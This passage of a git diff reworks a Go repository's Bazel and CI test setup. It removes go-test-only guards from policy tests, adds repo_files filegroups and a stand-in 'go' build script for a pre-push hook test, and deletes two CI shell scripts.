- } root := sourceRepoRoot(t) pkgs, err := bazelPackagesUnder(root, ".") if err != nil { diff --git a/scripts/bazel_skip_allowlist_test.go b/scripts/bazel_skip_allowlist_test.go index d87d4a126..b90d6c19f 100644 --- a/scripts/bazel_skip_allowlist_test.go +++ b/scripts/bazel_skip_allowlist_test.go @@ -16,48 +16,38 @@ import ( // Every Go test that deliberately skips itself under Bazel (a t.Skip guarded // by TEST_SRCDIR or bazeltest.IsBazel(), directly or through a helper it -// calls) has a `skip` entry in tools/bazel/equivalence_allowlist.txt. +// calls) has a `skip` entry in tools/bazel/equivalence_allowlist.txt, and no +// test runs part of its checks under go test only. // // The PR run of the Bazel lane cannot tell a test that skips under Bazel from // one that runs: only nightly.yml's skip-parity check (equivalence.py // --go-test-json) can, after the merge, and a missing entry turns that // nightly red (as TestBazelGatedLanesNeverRetryFlakyTests and -// TestCheckShardCoverageScript did on 2026-10-02). The entries are also what -// keeps those tests running under go test where the Bazel lane replaces a -// go test job. This check finds them before the merge, from the source. +// TestCheckShardCoverageScript did on 2026-10-02). Bazel is where the Go +// tests run on every PR, so a go-test-only check (a Bazel-guarded return or +// continue, or a block guarded by TEST_SRCDIR == "" / !IsBazel()) would run +// nowhere: declare what it reads as data instead (//:repo_files holds the +// whole checkout). This check finds them before the merge, from the source. // // Only top-level tests are considered: a subtest's skip is invisible to // equivalence.py, which compares top-level tests. func TestBazelOnlySkipsAreAllowlisted(t *testing.T) { - if os.Getenv("TEST_SRCDIR") != "" { - t.Skip("walks every _test.go file in the source checkout; runs under go test") - } root := sourceRepoRoot(t) entries := readSkipAllowlist(t, filepath.Join(root, "tools", "bazel", "equivalence_allowlist.txt")) - found, err := bazelSkippingTests(root) + found, files, err := bazelSkippingTests(root) if err != nil { t.Fatal(err) } - if len(found) < 16 { - t.Fatalf("found only %d Bazel-skipping tests (%v); the scan is broken", len(found), found) + // Under Bazel the tree is //:repo_files; a scan that parsed few files is + // not looking at it. + if files < 1000 { + t.Fatalf("parsed only %d _test.go files; the scan is broken", files) } - partial := 0 - defer func() { - if partial < 5 { - t.Errorf("found only %d tests with a go-test-only part; the scan is broken", partial) - } - }() for _, f := range found { if f.partial { - // D2 step 3: under go test, only ./scripts/... still runs on every - // PR (pr.yml's scripts-go-checks job), so a Test that runs part - // of its checks under go test only must live there. - partial++ - if f.pkg != "scripts" && !strings.HasPrefix(f.pkg, "scripts/") { - t.Errorf("%s %s runs part of its checks under go test only (%s); outside ./scripts/... nothing runs that part on every PR: move the check to ./scripts or make the test t.Skip under Bazel and allowlist it", - f.pkg, f.test, f.where) - } + t.Errorf("%s %s runs part of its checks under go test only (%s); nothing runs that part on every PR: declare its inputs as Bazel data (//:repo_files) and drop the guard", + f.pkg, f.test, f.where) continue } if !skipAllowlisted(entries, f.pkg, f.test) { @@ -185,7 +175,10 @@ FUNC TestScriptsPartial(t *testing.T) { write("sub/go.mod", "module example.com/sub\n") write("sub/s_test.go", "package s\nimport \"testing\"\nfunc TestOtherModule(t *testing.T) { if bazeltest.IsBazel() { t.Skip() } }\n") - found, err := bazelSkippingTests(dir) + found, files, err := bazelSkippingTests(dir) + if files != 2 { + t.Errorf("scan parsed %d files, want 2 (a/a_test.go, scripts/s_test.go)", files) + } if err != nil { t.Fatal(err) } @@ -257,8 +250,10 @@ var bazelGuardTestFunc = regexp.MustCompile(`^Test([^a-z].*)?$`) // bazelSkippingTests parses every _test.go file of the module rooted at // root (not nested modules, node_modules, .git, .beads or bazel-* output -// trees) and returns the top-level tests that skip under Bazel. -func bazelSkippingTests(root string) ([]bazelSkip, error) { +// trees) and returns the top-level tests that skip under Bazel and the +// number of files it parsed. +func bazelSkippingTests(root string) ([]bazelSkip, int, error) { + parsed := 0 byDir := map[string][]*ast.File{} fset := token.NewFileSet() err := filepath.WalkDir(root, func(p string, d os.DirEntry, err error) error { @@ -277,18 +272,19 @@ func bazelSkippingTests(root string) ([]bazelSkip, error) { } return nil } - if !strings.HasSuffix(p, "_test.go") || d.Type()&os.ModeSymlink != 0 { + if !strings.HasSuffix(p, "_test.go") || !isFileOrFileLink(p, d) { return nil } f, err := parser.ParseFile(fset, p, nil, 0) if err != nil { return err } + parsed++ byDir[filepath.Dir(p)] = append(byDir[filepath.Dir(p)], f) return nil }) if err != nil { - return nil, err + return nil, parsed, err } var out []bazelSkip for dir, files := range byDir { @@ -325,7 +321,7 @@ func bazelSkippingTests(root string) ([]bazelSkip, error) { } } sort.Slice(out, func(i, j int) bool { return out[i].pkg+" "+out[i].test < out[j].pkg+" "+out[j].test }) - return out, nil + return out, parsed, nil } // goTestOnlyPart: the first if statement (outside closures) that ends a diff --git a/scripts/bench-ready-indexes/BUILD.bazel b/scripts/bench-ready-indexes/BUILD.bazel index 9d64f87d8..d67926583 100644 --- a/scripts/bench-ready-indexes/BUILD.bazel +++ b/scripts/bench-ready-indexes/BUILD.bazel @@ -20,3 +20,25 @@ go_test( embed = [":bench-ready-indexes_lib"], deps = ["@com_github_data_dog_go_sqlmock//:go-sqlmock"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/scripts/check-testing-short.sh b/scripts/check-testing-short.sh index 013483e51..62d6944a4 100755 --- a/scripts/check-testing-short.sh +++ b/scripts/check-testing-short.sh @@ -19,6 +19,9 @@ EOF status=0 +# Symlinked .go files count too: under Bazel the tree is a runfiles symlink +# forest. find does not descend into symlinked directories (bazel-* links). + while IFS=: read -r file line _; do file="${file#./}" if [[ -z "$file" || -z "$line" ]]; then @@ -49,7 +52,7 @@ while IFS=: read -r file line _; do printf 'Disallowed testing.Short() at %s:%s in %s\n' "$file" "$line" "${func:-unknown}" >&2 status=1 fi -done < <(find . -type f -name '*.go' -not -path './.git/*' -exec grep -n 'testing\.Short()' {} + || true) +done < <(find . \( -type f -o -type l \) -name '*.go' -not -path './.git/*' -exec grep -n 'testing\.Short()' {} + || true) if (( status != 0 )); then cat >&2 <<'EOF' diff --git a/scripts/check-versions/BUILD.bazel b/scripts/check-versions/BUILD.bazel index 88c87eee2..6baf8b20d 100644 --- a/scripts/check-versions/BUILD.bazel +++ b/scripts/check-versions/BUILD.bazel @@ -14,14 +14,11 @@ go_binary( visibility = ["//visibility:public"], ) -# Tags: -# host-tools: pre_push_hook_test.go runs the tracked pre-push hook and the -# shell entrypoint under the host's /bin/bash, and the hook shells out to -# the host's git and coreutils. -# no-remote-exec: so it runs where that inventory is known (the developer -# machine or the CI runner) rather than on a farm worker. -# no-remote-cache: the action key does not cover the host's bash or tools, so -# a result from one host is neither uploaded for nor served to another. +# pre_push_hook_test.go runs the tracked pre-push hook and the shell +# entrypoint under the executor's /bin/bash and coreutils. Under Bazel the +# entrypoint's `go build` is stood in for by the checker built here +# (BEADS_TEST_CHECK_VERSIONS): there is no module checkout or Go toolchain in +# the runfiles to build it from. go_test( name = "check-versions_test", srcs = [ @@ -29,17 +26,37 @@ go_test( "pre_push_hook_test.go", ], data = [ + ":check-versions", + "//:go.mod", "//:release_metadata_files", "//scripts:check-versions.sh", ], embed = [":check-versions_lib"], - tags = [ - "host-tools", - "no-remote-cache", - "no-remote-exec", - ], + env = {"BEADS_TEST_CHECK_VERSIONS": "$(rlocationpath :check-versions)"}, deps = [ "//internal/testutil/bazeltest", "//internal/versioncheck", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/scripts/check-versions/pre_push_hook_test.go b/scripts/check-versions/pre_push_hook_test.go index 2b3ede171..573f32aec 100644 --- a/scripts/check-versions/pre_push_hook_test.go +++ b/scripts/check-versions/pre_push_hook_test.go @@ -42,12 +42,16 @@ func TestPrePushHookOrdinaryPushWorksWithSystemBash(t *testing.T) { // alongside the ordinary-push compatibility that brought us here. // // Unlike the ordinary push above, the entrypoint builds the Go checker from - // source at the repository root, so it needs a full module checkout there. - // Under Bazel the tree the test sees is its runfiles, which holds only the - // declared data and no go.mod, so the wrapper could only ever report its - // build failure (127); `go test` runs against the real checkout. The guard - // sits inside each subtest, not above the loop, so that the ordinary-push - // assertion above still reports as run rather than hiding behind a skip. + // source at the repository root (`go build ./scripts/check-versions`), + // which needs a module checkout and a Go toolchain. Under Bazel there is + // neither, so a stand-in `go` first on PATH "builds" by copying the checker + // Bazel built from the same source (BEADS_TEST_CHECK_VERSIONS); everything + // the contract covers (status passthrough, no launcher diagnostic, temp + // cleanup) is the entrypoint's own. + path := os.Getenv("PATH") + if bazeltest.IsBazel() { + path = fakeGoBuildDir(t) + string(os.PathListSeparator) + path + } for _, tc := range []struct { name string args []string @@ -58,11 +62,9 @@ func TestPrePushHookOrdinaryPushWorksWithSystemBash(t *testing.T) { {"version mismatch", []string{"--expect", "0.0.0-checker-test"}, 3}, } { t.Run(tc.name, func(t *testing.T) { - if bazeltest.IsBazel() { - t.Skip("entrypoint builds from source: needs the real module checkout, not runfiles") - } scratch := t.TempDir() t.Setenv("TMPDIR", scratch) + t.Setenv("PATH", path) checker := filepath.Join(repoRoot, "scripts", "check-versions.sh") cmd := exec.Command(bash, append([]string{checker}, tc.args...)...) cmd.Dir = repoRoot @@ -137,3 +139,30 @@ func TestPrePushHookDriftRefusalPointsAtCheckerRemedy(t *testing.T) { t.Errorf("hook prescribes update-versions.sh for drift:\n%s", output) } } + +// fakeGoBuildDir returns a directory holding a stand-in `go` whose `build ... +// -o OUT ...` copies the Bazel-built checker (BEADS_TEST_CHECK_VERSIONS) to +// OUT, for check-versions.sh under Bazel, where there is no module checkout +// or Go toolchain to build it from. +func fakeGoBuildDir(t *testing.T) string { + t.Helper() + built, err := bazeltest.RunfileEnv("BEADS_TEST_CHECK_VERSIONS") + if err != nil { + t.Fatal(err) + } + dir := t.TempDir() + script := `#!/bin/sh +[ "$1" = build ] || { echo "stand-in go: only build is supported" >&2; exit 2; } +out= +while [ $# -gt 0 ]; do + if [ "$1" = -o ]; then out=$2; shift; fi + shift +done +[ -n "$out" ] || { echo "stand-in go: no -o" >&2; exit 2; } +exec cp "` + built + `" "$out" +` + if err := os.WriteFile(filepath.Join(dir, "go"), []byte(script), 0o755); err != nil { + t.Fatal(err) + } + return dir +} diff --git a/scripts/check-winget-portable-alias.sh b/scripts/check-winget-portable-alias.sh index adc30c66c..52b085baa 100755 --- a/scripts/check-winget-portable-alias.sh +++ b/scripts/check-winget-portable-alias.sh @@ -10,9 +10,9 @@ # differently, e.g. jq's `any(cond)` against mikefarah's `any_c`. set -euo pipefail -# yq is outside the host-tools inventory declared in scripts/BUILD.bazel and no -# workflow job installs it, so name the missing tool instead of reporting every -# manifest as missing its alias. +# No workflow job installs yq (ubuntu-latest and the rbe-west workers ship +# it), so name a missing tool instead of reporting every manifest as missing +# its alias. if ! command -v yq >/dev/null 2>&1; then echo "FAIL: yq is required by this guard but is not installed" exit 1 diff --git a/scripts/check_testing_short_test.go b/scripts/check_testing_short_test.go index 10c7a7a96..9e1257766 100644 --- a/scripts/check_testing_short_test.go +++ b/scripts/check_testing_short_test.go @@ -70,12 +70,14 @@ func TestCheckTestingShortPassesOnCleanRepoTree(t *testing.T) { if runtime.GOOS == "windows" { t.Skip("checker is a Bash boundary") } - if os.Getenv("TEST_SRCDIR") != "" { - // Under Bazel the tree is only this target's runfiles, so the scan - // would pass vacuously. make check-testing-short runs it in CI. - t.Skip("walks the whole source checkout; runs under go test") - } repo := sourceRepoRoot(t) + // Under Bazel the tree is //:repo_files; a tree missing the allowlisted + // call sites would let the scan pass vacuously. + for _, rel := range []string{"internal/hooks/hooks_test.go", "internal/storage/dolt/concurrent_test.go", "internal/workapi/sweep_test.go"} { + if _, err := os.Stat(filepath.Join(repo, filepath.FromSlash(rel))); err != nil { + t.Fatalf("the scanned tree lacks %s, which holds an allowlisted call: %v", rel, err) + } + } cmd := exec.Command("bash", filepath.Join(repo, "scripts", "check-testing-short.sh")) cmd.Dir = repo out, err := cmd.CombinedOutput() diff --git a/scripts/check_winget_portable_alias_test.go b/scripts/check_winget_portable_alias_test.go index e69075fbc..8a52fcc79 100644 --- a/scripts/check_winget_portable_alias_test.go +++ b/scripts/check_winget_portable_alias_test.go @@ -10,16 +10,12 @@ import ( ) // The guard's own vocabulary is shared between mikefarah yq v4 and python-yq, -// so either flavour exercises these cases. Deliberately a plain skip rather -// than requireHostTool: //scripts:scripts_test is tagged host-tools, and that -// tag's declared inventory (git, python3, awk, sed, find, grep, timeout) does -// not include yq, so failing under Bazel would red the shared target on hosts -// that keep the promise the tag actually makes. +// so either flavour exercises these cases. Under Bazel yq is part of the +// executor inventory //scripts:scripts_test relies on (the rbe-west worker +// image and ubuntu-latest ship mikefarah yq v4), so a missing yq fails there. func skipWithoutYQ(t *testing.T) { t.Helper() - if _, err := exec.LookPath("yq"); err != nil { - t.Skipf("yq not available: %v", err) - } + requireHostTool(t, "yq") } const ( diff --git a/scripts/checkworkflowtags/BUILD.bazel b/scripts/checkworkflowtags/BUILD.bazel index 35e736649..1a80d8372 100644 --- a/scripts/checkworkflowtags/BUILD.bazel +++ b/scripts/checkworkflowtags/BUILD.bazel @@ -13,3 +13,25 @@ go_binary( embed = [":checkworkflowtags_lib"], visibility = ["//visibility:public"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/scripts/ci/allowlisted-go-tests.sh b/scripts/ci/allowlisted-go-tests.sh deleted file mode 100755 index dc3b32430..000000000 --- a/scripts/ci/allowlisted-go-tests.sh +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env bash -# The Go tests the Bazel PR-core lane does not run or skips -# (tools/bazel/equivalence_allowlist.txt), under `go test` in PR Core's test -# environment. pr.yml runs this on every PR (scripts-go-checks): -# where PR Core stands down for the Bazel lane (D2 step 3) it is their only -# pre-merge run. - -set -euo pipefail - -SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" -REPO_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)" - -# shellcheck source=../../.buildflags -source "$REPO_ROOT/.buildflags" -# shellcheck source=lib/test-env.sh -source "$REPO_ROOT/scripts/ci/lib/test-env.sh" - -cd "$REPO_ROOT" - -beads_test_env_enter - -# As in pr.yml's PR Core step. -export BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION=1 - -python3 tools/bazel/run_allowlisted_go_tests.py "$@" diff --git a/scripts/ci/scripts-go-test.sh b/scripts/ci/scripts-go-test.sh deleted file mode 100755 index 14b4a062b..000000000 --- a/scripts/ci/scripts-go-test.sh +++ /dev/null @@ -1,26 +0,0 @@ -#!/usr/bin/env bash -# PR Core's `go test`, for the ./scripts/... packages only: the repository -# policy tests (workflow, Bazel and CI guards), several of which check part of -# their rules, or everything, under go test only. pr.yml runs this on every PR -# (scripts-go-checks), so they run before merge also where PR Core stands -# down for the Bazel lane (D2 step 3). Same flags and environment as -# scripts/ci/pr-core.sh. - -set -euo pipefail - -SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" -REPO_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)" - -# shellcheck source=../../.buildflags -source "$REPO_ROOT/.buildflags" -# shellcheck source=lib/timing.sh -source "$REPO_ROOT/scripts/ci/lib/timing.sh" -# shellcheck source=lib/test-env.sh -source "$REPO_ROOT/scripts/ci/lib/test-env.sh" - -cd "$REPO_ROOT" - -beads_test_env_enter - -ci_time "scripts go test" -- \ - go test -p 4 -parallel 4 -race -short -timeout=30m -skip '^TestEmbedded' ./scripts/... diff --git a/scripts/ci_f7b_review_test.go b/scripts/ci_f7b_review_test.go index 54df07b92..3346151e2 100644 --- a/scripts/ci_f7b_review_test.go +++ b/scripts/ci_f7b_review_test.go @@ -238,23 +238,22 @@ func TestBlacksmithSaverVenueAndFlavorMatricesAreComplete(t *testing.T) { // worse, hit a non-race-compiled cache under the race key). func TestBlacksmithGoBuildCacheRaceLegActuallyUsesRace(t *testing.T) { job := readCIWorkflow(t, "main.yml").job(t, "blacksmith-go-build-cache") - step := job.step(t, "Warm race GOCACHE (scripts-go-checks scripts-test leg)") + step := job.step(t, "Warm race GOCACHE") if !strings.Contains(step.Run, "-race") { t.Errorf("blacksmith-go-build-cache's race-leg warm step run = %q, want it to pass -race", step.Run) } } -// TestBlacksmithGoBuildCacheNonRaceLegWarmsAllowlistedCompileOnly re-pins -// mutation M7: the non-race flavor's warm step must still invoke -// run_allowlisted_go_tests.py --compile-only (not just warm-non-race-cache.sh) -// -- scripts-go-checks' allowlisted leg's own packages, so the seed can never -// silently stop covering what that PR-blocking leg actually compiles. -func TestBlacksmithGoBuildCacheNonRaceLegWarmsAllowlistedCompileOnly(t *testing.T) { +// TestBlacksmithGoBuildCacheNonRaceLegWarmsPreflightPackages re-pins mutation +// M7: the non-race flavor's warm step must run the shared +// warm-non-race-cache.sh, so the same-repo-PR seed can never silently stop +// covering what pr-preflight-platforms' and check-doc-freshness-platforms' +// ubuntu legs compile. +func TestBlacksmithGoBuildCacheNonRaceLegWarmsPreflightPackages(t *testing.T) { job := readCIWorkflow(t, "main.yml").job(t, "blacksmith-go-build-cache") - step := job.step(t, "Warm non-race GOCACHE (scripts-go-checks allowlisted leg + preflight/doc-freshness)") - if !strings.Contains(step.Run, "bash scripts/ci/warm-non-race-cache.sh") || - !strings.Contains(step.Run, "python3 tools/bazel/run_allowlisted_go_tests.py --compile-only") { - t.Errorf("blacksmith-go-build-cache's non-race-leg warm step run = %q, want both warm-non-race-cache.sh and run_allowlisted_go_tests.py --compile-only", step.Run) + step := job.step(t, "Warm non-race GOCACHE (preflight/doc-freshness)") + if step.Run != "bash scripts/ci/warm-non-race-cache.sh" { + t.Errorf("blacksmith-go-build-cache's non-race-leg warm step run = %q, want bash scripts/ci/warm-non-race-cache.sh", step.Run) } } @@ -292,47 +291,6 @@ func TestWindowsSaverAndLivenessTimeoutsAreTwentyMinutes(t *testing.T) { } } -// TestCompileOnlyUsesBuildFlagsConstant re-pins mutation M14 (N1 fix): the -// reviewer's original mutation flipped a fragile `GO_TEST_FLAGS[-2:]` slice -// in the --compile-only path to nothing, silently dropping the -// gms_pure_go build tag from every warmed test binary. N1 replaced the slice -// with an explicit BUILD_FLAGS constant reused by both GO_TEST_FLAGS and the -// --compile-only `go test -c` command directly, which structurally removes -// the slice-drift vector mutate.py's M14 exploited; this test pins that the -// constant still exists and is still the thing actually passed to `-c`, so a -// future edit cannot quietly reintroduce the same slicing fragility. -func TestCompileOnlyUsesBuildFlagsConstant(t *testing.T) { - if os.Getenv("TEST_SRCDIR") != "" { - return // scripts_test's runfiles hold none of tools/bazel's scripts (see TestPRRunsGoTestsBazelSkips) - } - root := sourceRepoRoot(t) - data, err := os.ReadFile(filepath.Join(root, "tools", "bazel", "run_allowlisted_go_tests.py")) - if err != nil { - t.Fatal(err) - } - src := string(data) - const wantConst = `BUILD_FLAGS = ["-tags", "gms_pure_go"]` - if !strings.Contains(src, wantConst) { - t.Errorf("tools/bazel/run_allowlisted_go_tests.py is missing %q", wantConst) - } - const wantUse = `cmd = [args.go, "test", "-c", *BUILD_FLAGS, "-o", os.devnull, "./" + pkg]` - if !strings.Contains(src, wantUse) { - t.Errorf("tools/bazel/run_allowlisted_go_tests.py's --compile-only path does not pass *BUILD_FLAGS to go test -c (want %q)", wantUse) - } - // N1's bug was live slicing code (GO_TEST_FLAGS[-2:] used as part of the - // actual `-c` command), not the historical mention of it in BUILD_FLAGS' - // own doc comment above -- only flag the pattern outside a `#` comment line. - for _, line := range strings.Split(src, "\n") { - trimmed := strings.TrimSpace(line) - if strings.HasPrefix(trimmed, "#") { - continue - } - if strings.Contains(line, "GO_TEST_FLAGS[-2:]") || strings.Contains(line, "GO_TEST_FLAGS[-2]") { - t.Errorf("tools/bazel/run_allowlisted_go_tests.py must not reintroduce slicing GO_TEST_FLAGS to get the build tags (F7b review fix N1): %q", line) - } - } -} - // blacksmithMacOSPRLegJobs are pr.yml's mixed-OS matrix jobs whose macOS leg // runs on Blacksmith macOS for same-repo PRs/merge_group. var blacksmithMacOSPRLegJobs = []string{"pr-preflight-platforms", "check-doc-freshness-platforms"} diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index a0a32c51b..a812b12db 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -1377,10 +1377,9 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertGoCacheInventory(t, workflows["pr.yml"].job(t, "pr-core-wrapper"), []goCacheStep{ restoreModuleCache(), restoreBuildCache("race"), }) - // D2 step 3: PR Core's environment for ./scripts/..., go vet and the - // Bazel-skipped tests; read-only like PR Core. + // D2 step 3: PR Core's go vet; read-only like PR Core. assertGoCacheInventory(t, workflows["pr.yml"].job(t, "scripts-go-checks"), []goCacheStep{ - restoreModuleCache(), restoreBuildCacheIf("race", "matrix.check == 'scripts-test'"), restoreVetCache(), restoreBuildCacheIf("non-race", "matrix.check == 'allowlisted'"), + restoreModuleCache(), restoreVetCache(), }) assertGoCacheInventory(t, workflows["pr.yml"].job(t, "pr-lint-wrapper"), []goCacheStep{restoreModuleCache(), restoreGolangciCache()}) assertGoCacheInventory(t, workflows["pr.yml"].job(t, "worktree-remove-windows"), []goCacheStep{ @@ -4487,11 +4486,7 @@ func TestBazelDoltJobMirrorsContainerJobs(t *testing.T) { // dolt-server target. Every such target, checked on its own, picks the // local backend and fails closed, so a broken backend fails rather than // skipping into a cached pass; the ones whose TestMain owns a server also - // set the package's own REQUIRE switch. Only under go test: scripts_test's - // runfiles hold no other package's BUILD. - if os.Getenv("TEST_SRCDIR") != "" { - return - } + // set the package's own REQUIRE switch. root := sourceRepoRoot(t) for pkg, docker := range map[string]bool{ "internal/storage/domain": false, @@ -4686,18 +4681,9 @@ func bazelRuleBlock(build, name string) string { // bazelProxiedShardCount returns cmd/bd:bd_proxied_test's own shard_count // from cmd/bd/BUILD.bazel: the single source of truth for the Bazel-only // bazel-proxied lane's shard split, which no longer has to equal PR -// Risk's/main.yml's legacy test-proxied-cmd jobs' matrix size (F2). Under -// `bazel test`, scripts_test's runfiles hold no other package's BUILD file, -// so this falls back to the literal the structural checks below pin under -// plain `go test` (TestBazelDoltServerTiersMirrorPRRisk and -// TestBazelRetiredLanesCheckListedTestsRan both fail if cmd/bd/BUILD.bazel's -// shard_count ever drifts from this fallback). +// Risk's/main.yml's legacy test-proxied-cmd jobs' matrix size (F2). func bazelProxiedShardCount(t *testing.T) int { t.Helper() - const bazelTestFallback = 30 - if os.Getenv("TEST_SRCDIR") != "" { - return bazelTestFallback - } root := sourceRepoRoot(t) rule := bazelRuleBlock(readPolicyFile(t, root, "cmd/bd/BUILD.bazel"), "bd_proxied_test") m := regexp.MustCompile(`(?m)^ shard_count = (\d+),$`).FindStringSubmatch(rule) @@ -4936,9 +4922,6 @@ func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { if step.Env[c.env] != "1" { t.Errorf("%s %s no longer sets %s=1; update %s:%s", c.workflow, c.job, c.env, c.pkg, c.target) } - if os.Getenv("TEST_SRCDIR") != "" { - continue // scripts_test's runfiles hold no other package's BUILD - } buildShards := shards root := sourceRepoRoot(t) rule := bazelRuleBlock(readPolicyFile(t, root, c.pkg+"/BUILD.bazel"), c.target) @@ -4985,37 +4968,35 @@ func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { t.Fatalf("parsed %v from pr-risk.yml test-server-storage %q", wantArgs, conf) } - if os.Getenv("TEST_SRCDIR") == "" { - root := sourceRepoRoot(t) - doltBuild := readPolicyFile(t, root, "internal/storage/dolt/BUILD.bazel") - rule := bazelRuleBlock(doltBuild, "dolt_server_conformance_test") - for _, w := range append(wantArgs, `"$(rootpath :dolt_race_off)",`, `srcs = ["//tools/bazel:go_test_variant.sh"],`) { - if !strings.Contains(bazelAttrBlock(rule, "args")+rule, w) { - t.Errorf("dolt:dolt_server_conformance_test does not contain %q (pr-risk.yml test-server-storage):\n%s", w, rule) - } + root := sourceRepoRoot(t) + doltBuild := readPolicyFile(t, root, "internal/storage/dolt/BUILD.bazel") + rule := bazelRuleBlock(doltBuild, "dolt_server_conformance_test") + for _, w := range append(wantArgs, `"$(rootpath :dolt_race_off)",`, `srcs = ["//tools/bazel:go_test_variant.sh"],`) { + if !strings.Contains(bazelAttrBlock(rule, "args")+rule, w) { + t.Errorf("dolt:dolt_server_conformance_test does not contain %q (pr-risk.yml test-server-storage):\n%s", w, rule) } - if strings.Contains(rule, "BEADS_TEST_ENV_RUN_DOLT") { - t.Error("dolt:dolt_server_conformance_test sets BEADS_TEST_ENV_RUN_DOLT; test-server-storage does not") + } + if strings.Contains(rule, "BEADS_TEST_ENV_RUN_DOLT") { + t.Error("dolt:dolt_server_conformance_test sets BEADS_TEST_ENV_RUN_DOLT; test-server-storage does not") + } + if r := bazelRuleBlock(doltBuild, "dolt_race_off"); !strings.Contains(r, "go_test_race_off(") || !strings.Contains(r, `test = ":dolt_test",`) { + t.Errorf("dolt:dolt_race_off must be go_test_race_off of :dolt_test (the jobs' binary is not race):\n%s", r) + } + full := bazelRuleBlock(doltBuild, "dolt_server_full_test") + for _, w := range []string{`"$(rootpath :dolt_race_off)",`, `"BEADS_TEST_SUBPROCESS_BINARY": "$(rlocationpath :dolt_race_off)"`, `"//:go.mod",`} { + if !strings.Contains(full, w) { + t.Errorf("dolt:dolt_server_full_test lacks %q (SubprocessRunner reuses the test binary; ModuleRoot needs go.mod):\n%s", w, full) } - if r := bazelRuleBlock(doltBuild, "dolt_race_off"); !strings.Contains(r, "go_test_race_off(") || !strings.Contains(r, `test = ":dolt_test",`) { - t.Errorf("dolt:dolt_race_off must be go_test_race_off of :dolt_test (the jobs' binary is not race):\n%s", r) + } + proxied := bazelRuleBlock(readPolicyFile(t, root, "cmd/bd/BUILD.bazel"), "bd_proxied_test") + for _, w := range []string{`"$(rootpath :bd_test)",`, `"BEADS_TEST_BD_BINARY": "$(rlocationpath :bd_for_tests)"`} { + if !strings.Contains(proxied, w) { + t.Errorf("cmd/bd:bd_proxied_test lacks %q (race bd_test, non-race subprocess bd, like the jobs):\n%s", w, proxied) } - full := bazelRuleBlock(doltBuild, "dolt_server_full_test") - for _, w := range []string{`"$(rootpath :dolt_race_off)",`, `"BEADS_TEST_SUBPROCESS_BINARY": "$(rlocationpath :dolt_race_off)"`, `"//:go.mod",`} { - if !strings.Contains(full, w) { - t.Errorf("dolt:dolt_server_full_test lacks %q (SubprocessRunner reuses the test binary; ModuleRoot needs go.mod):\n%s", w, full) - } - } - proxied := bazelRuleBlock(readPolicyFile(t, root, "cmd/bd/BUILD.bazel"), "bd_proxied_test") - for _, w := range []string{`"$(rootpath :bd_test)",`, `"BEADS_TEST_BD_BINARY": "$(rlocationpath :bd_for_tests)"`} { - if !strings.Contains(proxied, w) { - t.Errorf("cmd/bd:bd_proxied_test lacks %q (race bd_test, non-race subprocess bd, like the jobs):\n%s", w, proxied) - } - } - for pkg, build := range map[string]string{"cmd/bd": readPolicyFile(t, root, "cmd/bd/BUILD.bazel"), "internal/storage/dolt": doltBuild} { - for _, err := range checkDoltServerRules(pkg, build) { - t.Error(err) - } + } + for pkg, build := range map[string]string{"cmd/bd": readPolicyFile(t, root, "cmd/bd/BUILD.bazel"), "internal/storage/dolt": doltBuild} { + for _, err := range checkDoltServerRules(pkg, build) { + t.Error(err) } } @@ -5193,9 +5174,6 @@ func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { if step.Env["BEADS_TEST_EMBEDDED_DOLT"] != "1" { t.Errorf("pr-risk.yml %s no longer sets BEADS_TEST_EMBEDDED_DOLT=1; update %s", c.job, c.target) } - if os.Getenv("TEST_SRCDIR") != "" { - continue // scripts_test's runfiles hold no other package's BUILD - } root := sourceRepoRoot(t) rule := bazelRuleBlock(readPolicyFile(t, root, c.pkg+"/BUILD.bazel"), c.target) // c.target's own shard_count is deliberately NOT asserted to equal @@ -5242,13 +5220,11 @@ func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { } } } - if os.Getenv("TEST_SRCDIR") == "" { - // The cmd jobs' subprocess bd is the race build, as //cmd/bd:bd is - // under --config=embedded (bd_for_tests never is). - rule := bazelRuleBlock(readPolicyFile(t, sourceRepoRoot(t), "cmd/bd/BUILD.bazel"), "bd_embedded_test") - if !strings.Contains(rule, `"BEADS_TEST_BD_BINARY": "$(rlocationpath :bd)"`) { - t.Errorf("cmd/bd:bd_embedded_test must run the race //cmd/bd:bd as BEADS_TEST_BD_BINARY:\n%s", rule) - } + // The cmd jobs' subprocess bd is the race build, as //cmd/bd:bd is + // under --config=embedded (bd_for_tests never is). + rule := bazelRuleBlock(readPolicyFile(t, sourceRepoRoot(t), "cmd/bd/BUILD.bazel"), "bd_embedded_test") + if !strings.Contains(rule, `"BEADS_TEST_BD_BINARY": "$(rlocationpath :bd)"`) { + 